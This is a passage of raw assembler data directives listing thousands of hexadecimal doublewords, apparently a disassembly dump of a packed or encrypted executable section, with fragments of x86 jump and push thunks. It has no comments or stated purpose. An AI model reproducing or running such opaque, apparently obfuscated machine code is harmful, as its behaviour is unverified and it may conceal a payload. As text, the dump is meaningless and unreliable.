6A585Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 69586BC3h dd 0E842971Ah, 10h, 6F3D8671h, 0DC7EBA2Ch, 7EC701F7h, 0F0522747h dd 5AD78B66h, 8166CA8Ah, 6A5052F6h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0B167C350h dd 52C08BF4h, 5AD7B70Fh, 13E8C28Bh, 7F000000h, 0CEC791h dd 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 810FEB7Bh, 3, 5ADBBF0Fh dd 0ECC281F9h, 8B000059h, 1654BFC3h, 0D9810000h, 37B8BA7Ch dd 10E9328Bh, 0DE000000h, 32FF62D5h, 0AFF27224h, 0E2BAC803h dd 8164E10Dh, 3258A2F6h, 58C0F33h, 0B9000000h, 30CFF9BCh dd 0D20DC681h, 890F52C5h, 5, 977BEAB9h, 21F6814Ah, 520B8E61h dd 0CE8h, 5757C400h, 15BBA910h, 0CD4D0743h, 0D0CD80BCh dd 32895959h, 0E78A54BBh, 4EA8332h, 81C78B66h, 1EFh, 91850F00h dd 0EBFFFFFFh, 8, 0 dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 8D858B24h dd 8D060721h, 0A6FB985h, 8B088B06h, 100088h, 660A8B00h dd 89FC4A8Bh, 0A408B8Dh, 0A1BD8306h, 6072Ah, 0F840Fh, 6A600000h dd 0B595FF00h, 61060716h, 0FFFFC4E9h, 728966FFh, 10CEC1FCh dd 2728966h, 5A04CD52h, 40878589h, 0B58B060Ah, 60A408Bh dd 6610CEC1h, 8B027289h, 0A408BB5h, 72896606h, 858B61FCh dd 60A4087h, 0E9958DC3h, 89060728h, 70FE195h, 0DD958906h dd 0FF060706h, 706DD85h, 585C606h, 5306072Ch, 0B148D868h dd 2DB5FFFCh, 8D06071Bh, 73B2485h, 89D0FF06h, 716B585h dd 0DA858D06h, 89060A38h, 7206985h, 0E900EB06h, 625h, 619E9h dd 42386800h, 3E9060Ah, 68FFFD3Ah, 60A436Dh, 0FD39F9E9h dd 441568FFh, 0EFE9060Ah, 68FFFD39h, 60A44F5h, 0FD39E5E9h dd 460868FFh, 0DBE9060Ah, 95FFFD39h, 2DFBD982h, 0C89674E7h dd 67351348h, 4D2B0ABh, 0D16C4A11h, 82D93C9Bh, 1B40D6A4h dd 0B7A46F3Dh, 55060BD9h, 3AC1A577h, 84D1AC58h, 3B6403DDh dd 7EC76B65h, 6EED23E1h, 6B1CFE8Bh, 0B0917EC7h, 257EC76Bh dd 7EC76B4Fh, 57040DCBh, 6B10E774h, 0C78C7EC7h, 9B856D64h dd 8C19FC40h, 0FEC7CBB6h, 0BF12930h, 0CE082F46h, 0AFDB2B96h dd 9614F764h, 0C101CC0Fh, 0E8CE11F8h, 9472E92Ah, 0EB0E4DC6h dd 0CAB076EBh, 2753080Ch, 118F72E9h, 0B9EBCB8Ah, 9C4108F2h dd 0B22D7590h, 326CA352h, 0D97ABF4h, 48EB0ACh, 0DB3C0000h dd 40D4A280h, 0A16F3D1Bh, 40EDCBAh, 6AAB7957h, 0F47813F1h dd 4B2932E3h, 0E4C2997Dh, 805EFD16h, 1EFC5FB2h, 0FFE1684Ch dd 8484D1ACh, 8C4A0BAAh, 2EF2D586h, 1A9278E3h, 0C76BB193h dd 10F3367Eh, 7C995755h, 12F5BCDFh, 0C76BAE85h, 0E4DBEF7Eh dd 0A684D73Ah, 28E8A61Eh, 54491033h, 7EC76B72h, 0DD1B4F7h dd 36345704h, 0C4552F71h, 0F8DBE6BAh, 5B7EDD34h, 0F32F949Ch dd 99573D1Eh, 86FCDF7Ch, 8872A8DDh, 3C2E3DEh, 40A0000h dd 1E2B4E0Dh, 7EC76B47h, 0C8126993h, 5F341249h, 59265B1h dd 4C306098h, 0F2D5868Eh, 0A30BED74h, 4D907EC7h, 29672C2Ah dd 590211F5h, 61CDFC26h, 259BA7Eh, 69BB5624h, 0C85700E2h dd 9342857Eh, 32EE7070h, 0D08B8654h, 1FF1AFADh, 6F52193Ch dd 12F06BABh, 0C857A57Bh, 31A9217Eh, 0C856C8AAh, 150A4D7Eh dd 7EC85733h, 0CE9275B8h, 0DD64DC48h, 7EC856FBh, 66483D80h dd 0EB7EC857h, 5513F9A8h, 0B2799CBFh, 9E1614CFh, 0C8573517h dd 9477BA7Eh, 0EFD50D14h, 0C159C168h, 84BBFE78h, 11A45BE4h dd 59BEBA1Bh, 71000003h, 9D7B5A6h, 0A472500Bh, 4311EF6Ch dd 0E0AE8CCFh, 0AD482635h, 5EFD18BFh, 0F764B280h, 93C84B19h dd 312AE7B5h, 169D8153h, 84D1AE34h, 4A40DFB9h, 0F0D3888Ch dd 0EEF2E52Ch, 0DE278787h, 7C7A9D4Ch, 449E3B7h, 0FDE0C5BDh dd 6083D839h, 0B22AFA1Ch, 0C7C7492Bh, 968BCE7Eh, 7EC7C7B4h dd 6760FEEBh, 866B3E06h, 1FB69443h, 7EC7CB89h, 0C7DDA076h dd 1B40D67Eh, 0BD15EBF8h, 8A8F7EC7h, 0FF2239D7h, 0BD987A01h dd 0DA1D7EC7h, 0F967C2Bh, 78BFDF30h, 848EE7ACh, 9B64566Fh dd 0C1F83BB8h, 11A4BCB1h, 0B1F1ED4Eh, 19000002h, 0B17F5DFEh dd 4C1AF863h, 0EBB997C4h, 88563427h, 55F0CE8Dh, 655C017h dd 9FBC5A28h, 3B20F3C1h, 0D9828F5Dh, 0BE4529FBh, 84D1AEDCh dd 4AE88761h, 0F6D71585h, 0B9573291h, 9B87FA2h, 0ACAF6226h dd 0E5C74EC6h, 6A7EC7D9h, 4417FB27h, 0AF62A661h, 0CA79E22Fh dd 9BE0E8A7h, 0A389D23Fh, 0B2E2DE5h, 42EB6144h, 0DE884243h dd 20348h, 8C4A6F00h, 9FBC548Ah, 0D306B57Ch, 9E937F52h dd 6BF8DB13h, 7EC7FA95h, 7A224C11h, 0FB7FAFFh, 79AB682Ch dd 0C7BB10F2h, 0A352957Eh, 0A0783DC5h, 0DD3B41EAh, 5EB5795Ch dd 7D96DAFDh, 6FCBBDEh, 0AB8ECD48h, 997AA41Bh, 4A3BE4C2h dd 41DE87C6h, 4Fh, 85D14868h, 0A5F15810h, 2D13C2D6h, 0BFDEE3A6h dd 0AEE52878h, 11A51ECEh, 0D1D4D031h, 0F9000001h, 915F3D1Eh dd 2CFAD883h, 0CB9977E4h, 68361447h, 35D0AEADh, 0E675A037h dd 7FDC3A08h, 1B40D3A1h, 0B9A26F3Dh, 9E2509DBh, 84D1AFBCh dd 4C86741h, 381C4C0Fh, 0C76B07B1h, 0E6094C7Eh, 0CEA71A2h dd 6588D33Eh, 912CA267h, 0AF8E4E05h, 0ED24CCCh, 0AAB16230h dd 0EB0EFFC4h, 0FD302BE6h, 12F57C90h, 0E143CE9Ch, 0C800785Ah dd 0BBAFD7Eh, 0E972A4E8h, 82D93D0Bh, 8468985Fh, 0C8001BFDh dd 3A5DA07Eh, 50C41AF6h, 0C9B32887h, 0A554BA13h, 898E18F6h dd 26EA2E51h, 0EAC05735h, 647EC864h, 813F25FDh, 0E0A7CA91h dd 75F87FFDh, 3A78C170h, 595739C0h, 62DC78C1h, 0C158F9DBh dd 8C3B7E78h, 0DB39F7DDh, 40D4A280h, 35FAF81Bh, 572407C7h dd 8B8AB6D1h, 0EA29EDD0h, 0C0A4E71h, 0FCA4694Fh, 2D2EE4B1h dd 59020CFAh, 9977BB76h, 0AA9A5B3Eh, 0E1905DD5h, 0C148C0BEh dd 78C0BEDFh, 0BE3E2164h, 169D835Bh, 72B8DCA3h, 0D8EE2568h dd 6717AC0Eh, 0BE0A06h, 0B0C0000h, 70A47250h, 0D13F0DEBh dd 34DEAC8Ah, 9A7B4927h, 2448E3C1h, 1BF962B3h, 0B492C94Dh dd 502E2DE6h, 0EECC8F82h, 0CFB1381Ch, 5484D1B0h, 854ADB7Ah dd 38836AE6h, 0B67A5D09h, 99DD005Bh, 0B9005F78h, 1533B0E1h dd 843328E9h, 259AA261h, 654318F9h, 65F61FDDh, 0C54F7B42h dd 7114B396h, 1ADE8841h, 18h, 6B643B41h, 22E07EC7h, 0D93B67F4h dd 36DB9F82h, 1BC14725h, 5E000000h, 0C76B653Bh, 0E5769B7Eh dd 652C3AFFh, 0AD09C8B5h, 77B9EE7Ah, 14F7E3F2h, 3BF22F9Eh dd 1F24h, 0A930A800h, 7EC76AC7h, 0EE5C1FFEh, 0E8CD2898h dd 0F61AC2A5h, 5E81DA38h, 3C5FFC1Ah, 7EE3C675h, 25481304h dd 82B30E1h, 0E90C4FC4h, 0C7EA71A5h, 0A6C99283h, 85A8B362h dd 678AD141h, 4B6EED23h, 2B4E0D07h, 0E389532Ah, 4C381h dd 0EB830000h, 241C8704h, 5724248Bh, 0C781E789h, 4, 4EF81h dd 3C870000h, 14895C24h, 0E0895024h, 405h, 4E88300h, 5C240487h dd 68240C89h, 60A4191h, 8124148Bh, 4C4h, 4EC8100h, 89000000h dd 4832424h, 53590424h, 59895B52h, 0C8B5B08h, 0E7895724h dd 4C781h, 0C7810000h, 4, 5C243C87h, 5A2434FFh, 0E904C483h dd 0FFFD3402h, 0B716DFBAh, 2FFF222h, 8AFB2137h, 0EBB8AE26h dd 3060A46h, 0EBD18BC5h, 20h, 7 dup(0) dd 556E900h, 4AE90000h, 68000005h, 60A4902h, 0FD33B5E9h dd 499D68FFh, 0ABE9060Ah, 68FFFD33h, 60A4BAAh, 0FD33A1E9h dd 4C0268FFh, 97E9060Ah, 0D9FFFD33h, 713F1D3Eh, 0CDAB8A3h dd 0AB795704h, 4816F467h, 15B08ECDh, 0C6958057h, 5FFC1AE8h dd 0FB60B381h, 99C24F1Dh, 7E05E9BBh, 84D1B29Ch, 4AA84721h dd 0E876D85h, 0D7BA9377h, 3B5EFD13h, 0C79D582Eh, 4338E6FEh dd 46A918DDh, 69901C78h, 829EE786h, 0F2B05E88h, 4F163922h dd 182B6Ch, 3B520000h, 7EC76B64h, 0BDA37BDEh, 0BCB30136h dd 1DFB3E78h, 2A97h, 653B3400h, 0DF7EC76Bh, 37BEA47Ah dd 78BCB302h, 5D3FC63Eh, 9B78BD23h, 0B9FCE17Ah, 139259D6h dd 0CAB5D2A4h, 0BBAA173h, 4A0F7E5Ch, 0F4D7848Ch, 587BE030h dd 0E2799C5Ah, 6B9D72FFh, 3FD3FEC7h, 5BB5F91Ch, 0A7CA9183h dd 0AF0E31E0h, 58C90E7h, 0FEC76B23h, 0A5B665A8h, 40D00A71h dd 0ACB33D1Bh, 33099076h, 0B0FEC77Bh, 153823F0h, 387C9F4Eh dd 1AA482D9h, 72F9DF07h, 0F8BF7947h, 1926498Ch, 0F8C03A43h dd 0A75C23D1h, 648FE6DEh, 66ADh, 0D148D400h, 6A9C2309h dd 0AF78BCAAh, 4CC8866Ch, 4225EC0Fh, 500B06C4h, 0EE6DA472h dd 0A883F5B7h, 0ADA90A11h, 352h, 6C4A1106h, 7E5769Eh, 0A684D739h dd 43213AD8h, 0DDBBA075h, 68AD2A42h, 0CF4715F3h, 33E0AE8Ch dd 957C4A28h, 3216E8C6h, 0D1B3C9ABh, 0D5744E84h, 0B563854Ah dd 0E17A8400h, 31482FEh, 41F0000h, 1F2C4F0Ch, 7EC76B49h dd 0C76960B6h, 69ECCD7Eh, 0B2707EC7h, 8A17FA61h, 7EC76AB4h dd 0C76A4B21h, 69E2B87Eh, 0C55C3EC7h, 0A76D71A0h, 1BCA91B4h dd 76FF866Ch, 7BB8BD62h, 0C151538h, 0F178F0D6h, 0B8BD740Fh dd 0F06E5194h, 0B67DAA69h, 6DA4E7B2h, 0D7AF4249h, 0B75955B6h dd 0A1000002h, 3907E576h, 0D4A280DBh, 73411F3Ch, 10DEBC9Fh dd 0DD785605h, 8ECD488Fh, 2734E2B0h, 0C3987B49h, 61FA17E5h dd 46CDB183h, 84D1B464h, 4A700FE9h, 6B694BD2h, 0ABEE7EC7h dd 4E0D04C8h, 77682D2Bh, 14BAEA5Eh, 0D54CCCAFh, 3FA0270Dh dd 0C378BD40h, 284B1005h, 0BE017E61h, 0EF9358E0h, 0F364C885h dd 769A5E41h, 77F07E5h, 0BE5E9E80h, 0ADE02378h, 63920451h dd 1FE3C65Eh, 49476AF1h, 9716FA84h, 0FCDF749Ah, 55C0E57Ch dd 0EA715706h, 72B326C1h, 5DE5C306h, 0BCE8739Fh, 97240754h dd 72B397C1h, 1A00263Bh, 0A8DF3693h, 8A70B36Ch, 0F22D4D12h dd 0F3EC9EFEh, 96C54C10h, 0B5CEEBB0h, 0B3534E97h, 858C5AD0h dd 9F90DA9Fh, 303E271h, 0A90C2C0Eh, 0BF6EB16Ch, 0CE98F9Ch dd 3E236CA9h, 0F47BA96Bh, 6CA90C12h, 0F6A55497h, 54508910h dd 0D694669Eh, 0BD3A1D3Eh, 951C947Ah, 669EC5B3h, 9412F538h dd 3B1DA41Ch, 0C0669EC5h, 0C4DDBF46h, 1F62669Eh, 48C98D70h dd 35AD3513h, 0CCC19A77h, 669EC4EAh, 85492C6Fh, 9FACCF8Ch dd 669EC5F9h, 967B2E33h, 2CDBA2C5h, 0C96BF46h, 98DB6094h dd 997C3AB2h, 0F5D89FC2h, 957BE031h, 0F62239D7h, 551C3F1Ch dd 0E32EFC72h, 0CC555578h, 74A93016h, 0B15A89C4h, 12C3886Eh dd 0EF6EF35Eh, 0EFEDA88Bh, 987BE031h, 89A9350Bh, 0B6A56B5Ah dd 95C64F93h, 91E67872h, 7B40EEC2h, 0C673C1C4h, 1ECA02h dd 4AF10000h, 0F1D35AD2h, 767EC76Ah, 6B5C3E33h, 9EE17EC7h dd 86582EBBh, 17D67EC6h, 73000000h, 0C681653Bh, 0E51CE17Eh dd 107EC432h, 556EC1Fh, 0D33B9613h, 0D1488BF0h, 0B9B4D885h dd 0F4A3E2C2h, 0CB38490Eh, 143724F0h, 0EEA21A4Dh, 203BDB07h dd 0D738BF3Dh, 5B78BD39h, 0FFE2799Dh, 1C1C3F82h, 70F7DD05h dd 72B5D74Dh, 7052D951h, 0F572B680h, 0F52CFB2h, 0AF2F28D8h dd 0BAB61717h, 0AAh, 14F269AEh, 0AF8DCE46h, 4E2C2FE1h dd 0EBC99280h, 8563F81Dh, 0C05582EAh, 27EFBD9Bh, 8B885634h dd 0ED24F2D0h, 0DABE906Eh, 0D1B67153h, 7D1CF684h, 888CD148h dd 3AE9B0D3h, 0B26CCD54h, 0AEF178BCh, 50968B8Bh, 4314E36Ah dd 4E9172B5h, 0AFABF317h, 0EFEB4C17h, 52h, 6C4A1106h, 7E5769Eh dd 0A684D739h, 43213AD8h, 0DDBBA075h, 68AD2A42h, 0CF4715F3h dd 33E0AE8Ch, 957C4A28h, 3216E8C6h, 0D1B6C9ABh, 0D5744E84h dd 1D4Ch, 854AE900h, 9B5814BBh, 5F07EA4Ch, 5A3CC33Bh, 0DF7EC7D7h dd 914FB018h, 25D43E93h, 1304DD42h, 30E12548h, 4FC4082Bh dd 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah dd 0D074B6Eh, 562A2B4Eh, 0C681E689h, 4, 3304EE83h, 34312434h dd 24343324h, 322F685Ch, 4890000h, 4EC8124h, 89000000h dd 0BF57240Ch, 60A47D5h, 89FA8952h, 545F5AD0h, 83240C8Bh dd 815004C4h, 460F242Ch, 418F6965h, 8418108h, 6965460Fh dd 52240C8Bh, 0C281E289h, 4, 4C281h, 14870000h, 48B5C24h dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2E78E95Ch dd 90E6FFFDh, 4C79B871h, 0C503060Ah, 51E9C88Bh, 60000000h dd 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h, 66000000h dd 0F064E8Bh, 0F983C9B7h, 16840F00h, 3B000000h, 8F0F0C7Ah dd 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h, 8C2611Ch dd 28C28300h, 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh dd 0EE800h, 0A410000h, 4894CD95h, 935E0FC2h, 13BBFF21h dd 7E9h, 2FDED500h, 0C21F4CAEh, 0FBBF0F5Ah, 74CEC281h dd 0BF0F0000h, 1D0EB8FEh, 328B0000h, 53A0E781h, 0F68159C9h dd 17A76071h, 11E9h, 6B9F1400h, 0A834A2F0h, 44C58649h dd 956F7C83h, 0C68151D0h, 6D82E905h, 0F681DE8Bh, 3B7DD3FBh dd 2A2CD981h, 0E956264Dh, 0Dh, 0D0826083h, 0D3D39824h dd 49178EFCh, 8A028F5Bh, 2BEA81EFh, 8A28D96Dh, 27C281D8h dd 0BF28D96Dh, 16D6602Ah, 0F01E883h, 0FFFF9585h, 0CE8B66FFh dd 167E9h, 20B9CE00h, 95ECE77Fh, 715893DAh, 0B6CFDF06h dd 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h, 0FC94A4D6h dd 0AEC44100h, 77CB50C1h, 0ACAC3252h, 46BF009Ch, 90ADFC6Ch dd 0A3365973h, 72E275D6h, 90BD9Ch, 8CE693DDh, 0A592A79Bh dd 0A7ABDD64h, 918F9792h, 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh dd 0E592B69Fh, 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h, 97BF999Ch dd 0F55CFD7Bh, 0AFF49389h, 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h dd 622D4457h, 0AE29B0F3h, 38h, 3Ch, 40h, 2 dup(0) dd 4, 94h, 5, 1, 0A28h, 2, 2Bh dup(0) dd 1F6FE9h, 518B6800h, 0F7E9060Ah, 68FFFD2Bh, 60A5297h dd 0FD2BEDE9h, 535E68FFh, 0E3E9060Ah, 68FFFD2Bh, 60A5446h dd 0FD2BD9E9h, 551168FFh, 0CFE9060Ah, 68FFFD2Bh, 60A5622h dd 0FD2BC5E9h, 56EE68FFh, 0BBE9060Ah, 68FFFD2Bh, 60A57A8h dd 0FD2BB1E9h, 5B5A68FFh, 0A7E9060Ah, 68FFFD2Bh, 60A5BCBh dd 0FD2B9DE9h, 5CEC68FFh, 93E9060Ah, 68FFFD2Bh, 60A5F8Dh dd 0FD2B89E9h, 62EF68FFh, 7FE9060Ah, 68FFFD2Bh, 60A6691h dd 0FD2B75E9h, 67E468FFh, 6BE9060Ah, 68FFFD2Bh, 60A685Ch dd 0FD2B61E9h, 68B768FFh, 57E9060Ah, 68FFFD2Bh, 60A692Ah dd 0FD2B4DE9h, 6AEF68FFh, 43E9060Ah, 68FFFD2Bh, 60A6BDFh dd 0FD2B39E9h, 6D6E68FFh, 2FE9060Ah, 41FFFD2Bh, 0D9A785D6h dd 7442203Bh, 13E1BF9Ch, 0B07E5CFFh, 7D18F665h, 2E2DE8EFh dd 0C7948250h, 63F81BE9h, 15AB785h, 0E66D5123h, 84D1BB04h dd 410AF89h, 0E72B4E0Dh, 0FF5CB42Ah, 886615DCh, 0DDC31BFEh dd 6CD1A065h, 1789DAB0h, 1D50DEEBh, 0C8AB3B5Ah, 0C147683Bh dd 87AAED78h, 0C127A47Ah, 3F843278h, 482AB129h, 0CD78C127h dd 3B1DA48Ah, 0C078C127h, 8AFB9A7Dh, 1E48EF9h, 42h, 9BC0510Fh dd 0D14853B8h, 0C59C2309h, 4178BF9Bh, 3B6042C9h, 0A2E578C0h dd 19FF42BFh, 3F20B75Bh, 54ED12A2h, 0AF769948h, 2E0411CCh dd 0BC78C060h, 0F392A90Eh, 98E48FBCh, 0DCh, 3229E8A6h dd 0D04EA4Fh, 0B49A6DCAh, 0F09FD9DEh, 0C438450Ah, 87803ED9h dd 7EA1BA5Bh, 0D519D4B7h, 0B4F81B40h, 0CC8F815Dh, 4224ABA9h dd 0C77EC78Ch, 326D584h, 858C52BFh, 3DECB3D6h, 8E27C85Fh dd 2CE57EC7h, 8E83512Fh, 0E86FE7CDh, 7EC78706h, 0AA65488Bh dd 896FB7AAh, 0C08D0F02h, 0B391D478h, 63EEB32Bh, 0AF7A028Eh dd 6AC8AA9Fh, 0A4D78C0h, 6CB2A727h, 15C2FF86h, 3FFF72B6h dd 9D6487D4h, 0CB4A08EEh, 31E4B290h, 0F877F32Ah, 278817AEh dd 1C8F2Bh, 0D3888F00h, 6EED27F5h, 0D4EC290h, 0AAB1612Fh dd 4417FECCh, 36A1CB66h, 0D09E7CDFh, 69371546h, 5D3B1AAh dd 9F714F0Ch, 0BC5234BBh, 0FDD784D1h, 4A11045Eh, 6B739E6Ch dd 0CA91B4A7h, 0F0B53D1Bh, 4E7D03E4h, 57BC9F0Bh, 694BD24Ah dd 0EE7EC76Bh, 0D148C8ABh, 0C59C2309h, 4278BF9Bh, 0F9CFDCFFh dd 8778C03Ah, 285DE2D9h, 63E48FE1h, 0D6h, 4E0D048Ah, 0B86CAA68h dd 0C76B4F31h, 0E291D47Eh, 150044FFh, 73A26046h, 6B5A66Bh dd 0BA5B6823h, 787EC76Dh, 22048B99h, 0A77EC767h, 4FD7B564h dd 0B5D88391h, 0CA470BEEh, 0CAE6AB91h, 0D0CA2BCBh, 101BC9Fh dd 55DCC218h, 78BFC162h, 33AB6826h, 0E9CC7BE0h, 8543296Ch dd 97C44E90h, 1BFEAD74h, 0B55F1DA5h, 0C574E729h, 0AAFF62E2h dd 5C42F16Ah, 0B556A1D5h, 0EF27E572h, 0C90C896Ch, 6BF025E3h dd 0C34F0D85h, 7C1A398h, 34672B6h, 39DCAA20h, 0AF89EB22h dd 157617AFh, 1B8319h, 0DF7C9B00h, 7AE13301h, 1942CE9Ch dd 0B6A56D3Bh, 500B0AD8h, 4295D772h, 0DCAA88D3h, 7543213Ah dd 11DFBD9Eh, 0AB7D5B00h, 0BD5E40C7h, 9E384D1h, 4A11046Ah dd 0E8739E6Ch, 0D049B0Ah, 2AE72B4Eh, 4B864B31h, 80632A3Ch dd 0CEAD2306h, 845ABF06h, 0AA68269Eh, 5E41CEB1h, 0E278BFB7h dd 5F01E36Ah, 438678C0h, 0B0A0E360h, 31D0633Dh, 0A67CE51Ch dd 0BAE39C0h, 3AB2B62Ah, 2AD4D1B3h, 0E71356B6h, 470E312Ah dd 0EE27E764h, 0A1E2C0E9h, 66150CB0h, 0AACD7C43h, 0CBAD34ACh dd 50B62AFEh, 0B7AA2A0Dh, 4002896Fh, 85B0233Ch, 240A51C5h dd 23C4BB9Dh, 4EFD40B0h, 0F467AA68h, 92C94816h, 41F3235Bh dd 7F7BDCDAh, 1ABCh, 0C8A6B562h, 63411AFAh, 2E07B95h, 9F7DDE34h dd 391744D1h, 0C09CE9Eh, 73A3714Fh, 0D73C0AE8h, 39D8A684h dd 8E724422h, 0D1BE2507h, 31D0AA84h, 2B4E0D04h, 0AF0362Bh dd 0AF95C64Ch, 0C76B4628h, 0A588CB7Eh, 1FF1AF27h, 5B0A51BFh dd 0CD457138h, 0C1A46B8Eh, 0C0747534h, 916FB278h, 0DCA126B2h dd 1385BEA4h, 0D4B63D77h, 5978C039h, 0FA816716h, 78C03A18h dd 0F7775A9Dh, 4FD6BC62h, 72B8666Ch, 4BBEAEF1h, 2B076EEEh dd 896BF26Ah, 0EAB07B0h, 0E796C54Eh, 459D8404h, 0CB4DD85Fh dd 8C51A4FFh, 0D1220447h, 0D45134B2h, 0EB6E6E91h, 0D8FB60B6h dd 47C6211h, 698CCF46h, 7032BFA2h, 0B59EF8B7h, 43CE8C72h dd 3D6D3218h, 5F7AAEC7h, 96B9A272h, 22F420CFh, 6C4F1639h dd 72E928F6h, 6C898D3Bh, 5551B2EBh, 19D4h, 0B08ECD4Ah dd 4B2932E2h, 0EAC8937Dh, 8765F61Ch, 21FF5CB9h, 24F1E686h dd 8B8B5937h, 0EF24F2D0h, 51C08E6Ch, 765A2C0Ah, 0D1BF0DEFh dd 19B89284h, 2B4E0D04h, 0AF0362Bh, 0B2CECD92h, 2E54D91Bh dd 4217BE4Bh, 955378C1h, 0A8B3617Dh, 569916F9h, 79729978h dd 9FF197B4h, 0C09D3618h, 4578BB78h, 9A7DAC18h, 0F9DF071Ah dd 0C4FC381h, 0B5686CD9h, 72559710h, 0B8C002E5h, 5E448772h dd 0A56E70A0h, 1DCC93B6h, 0D73FB23Ah, 91F6101Eh, 0F46C5288h dd 0F01DD36h, 2DBA9D4Ch, 0D008CBA2h, 2F2CE8A6h, 698CCF4Ch dd 442AF069h, 1D1FBBDh, 17FD40CAh, 0E56CB859h, 0CA025903h dd 0B8964588h, 0FD3427EAh, 0C0635DD5h, 90D096Ah, 15000019h dd 0AD7B5902h, 4816F467h, 0E7B593C8h, 8452302Bh, 51ECCA91h dd 259BC1Bh, 9BC05624h, 3724EFBDh, 0D5868B59h, 0BA4125F7h dd 84D1BFD8h, 4E4835Dh, 0AE90170Dh, 337EC76Bh, 952C4F0h dd 8A701FE6h, 6BA98B12h, 6E2E7EC7h, 2609B8A3h, 0C2A86D6Bh dd 54781F89h, 0F76AEACDh, 0D88F71F8h, 54147EC7h, 41F09FBCh dd 0F9F5D45Bh, 0B27278BFh, 93D7FA61h, 7B2AD982h, 0A049BE9Dh dd 879CDDB9h, 9E0C496Dh, 0D39109EFh, 7A5CE341h, 0FF78C110h dd 9D2A0DBCh, 72B93CBAh, 990CFC3Fh, 55769799h, 3218CE53h dd 0D9BB42BAh, 5E75772Fh, 20AB381Bh, 256F6F4Bh, 8CAFAC65h dd 0F3F316C5h, 0DD2B86Eh, 77265E45h, 0C82B56F7h, 8DAB5B8Eh dd 1A41D400h, 8341B937h, 5AE7CA91h, 6967CD98h, 67F41DDDh dd 0D35AD2B8h, 696854F1h, 0BD9FAF76h, 0BD8FF850h, 0EFAD2B0Eh dd 0D35B3922h, 0D7D9FE15h, 0DF322CBCh, 9A618433h, 3D1EF3B7h dd 0FD60D606h, 0C086920h, 17F8h, 8C6AF126h, 270556BEh dd 0C6A4B759h, 63411AF8h, 0FDDB8095h, 48CD0A62h, 0AF673513h dd 1300CEACh, 759C6A48h, 523608E6h, 0D1C0E9CBh, 0F5946E84h dd 684E0D04h, 10F368AAh, 16CC5555h, 8836A930h, 0B8FB78BFh dd 0D9FE14D2h, 0A54E7DF5h, 365908FFh, 8CCF436Fh, 845433A9h dd 1C02D841h, 0B7F0B295h, 0EF43772h, 982D0F96h, 6FB272B8h dd 7A91048Ch, 74FEEF90h, 914F35EDh, 75F3D685h, 0E7BC63EEh dd 22568D8h, 0E1C71F02h, 0B6B9EB1Ch, 9E81DBFCh, 0A2D79920h dd 0D91CD2E1h, 7FDC35F3h, 34B2955Ch, 0E1ECF7BCh, 0D22AA48Dh dd 0E1E5694Bh, 0FCABEED2h, 0E5AD8F16h, 0EF32D2E1h, 92C9480Ch dd 302BE6B4h, 83D1ADF9h, 0F5F152B7h, 172Ch, 583625F2h dd 0F3D18A8Ah, 9270EB25h, 2F0D4EC4h, 0C9A7B461h, 7C993E2Eh dd 0E33301DFh, 47CC9A78h, 0A9683614h, 1E02D4B2h, 0D1C1B597h dd 0C1603A84h, 2B4E0D04h, 0AF0362Bh, 0BCBC3F83h, 5B418478h dd 9E7749Dh, 0BD1C4072h, 0C29E8278h, 0D25FB186h, 1984B7B4h dd 6A7DF8E4h, 73FBD988h, 2304C2AEh, 1BA2597Ch, 78BCB539h dd 0E6CC7BBEh, 0BCB57D5Fh, 0DCBF0278h, 8462F918h dd 0D24267FAh, 0EF226689h, 0D382496Ch, 1C63E24h, 703FB8A2h dd 2AE91550h, 7DC14E31h, 0C272B2ABh, 39DB997Fh, 0F7BC4422h dd 7B3DC7BCh, 65290CA0h, 4589ACAFh, 58588FCCh, 0A717B34Ch dd 16724A46h, 6BAC0000h, 0D04412F0h, 31DFAD8Bh, 947E4C2Ah dd 0FA1BE9C7h, 84E88361h, 0BB99C253h, 543229EDh, 0F0CE8D86h dd 8E6CEF22h, 6F51D8BCh, 0F484D1C2h, 0D1487B1Ah, 589C2309h dd 9C78BCBCh, 22536DEh, 98DB583Bh, 71DF4B2h, 8B7E942h dd 352A21FBh, 78BCED53h, 8E695D8h, 5C429A7Eh, 0BCED2FD5h dd 6296C78h, 0BCED22F9h, 0BD02B078h, 6223E2A7h, 943DFD02h dd 6DA0555Dh, 0D1FDEFE8h, 97361942h, 0E4937CEEh, 696EA260h dd 0F58515DCh, 886B1A68h, 5347h, 0D0486E00h, 0C19F260Ch dd 3E7EC76Bh, 0F5CBD8FBh, 2B7EC76Ah, 0C5073E8h, 0D1305308h dd 11E5B209h, 4A081C63h, 0A02C11C6h, 25F9C005h, 8D085376h dd 4F81541Ah, 0B35235E4h, 0DE884ED2h, 13B9h, 643BE000h dd 0DE7EC76Bh, 36BDA37Bh, 78BFA04Fh, 7CEBC90Ch, 2309D148h dd 87AAB165h, 0D85FDDC0h, 78BF99D9h, 0EC305396h, 8A583625h dd 76EED487h, 0C03A0DEFh, 6C4F9278h, 1BF5B3B1h, 3AA08209h dd 0E22578C0h, 66491033h, 0AA6B73A2h, 80DF02B1h, 0FA17C3B8h dd 95B67B61h, 31F15499h, 8D5BD1B4h, 33F1D784h, 0DE997CDFh dd 0BDA37BDEh, 0B81A4B36h, 0EFCD1072h, 23EEF021h, 56050C38h dd 0C88684A7h, 9E2B0E4Dh, 0DA8183DDh, 5783F8C0h, 0F5C3A1BAh dd 0D81C3F1Ch, 0BAFE213Ah, 9BDF0259h, 5FBEE17Ah, 56EF2097h dd 6D821780h, 0D64438E7h, 5FB67BE1h, 19199EF2h, 4CC5896Ch dd 0AE63310Fh, 978A8AADh, 79F1694Fh, 821210F2h, 6F5295FAh dd 7A2CF7E2h, 19FDBBF4h, 0F5A2840Bh, 0E427F47Ah, 0ED55235h dd 0C36E3ABFh, 9177267Ah, 85B09219h, 0F235F47Ah, 0EB0E4DC6h dd 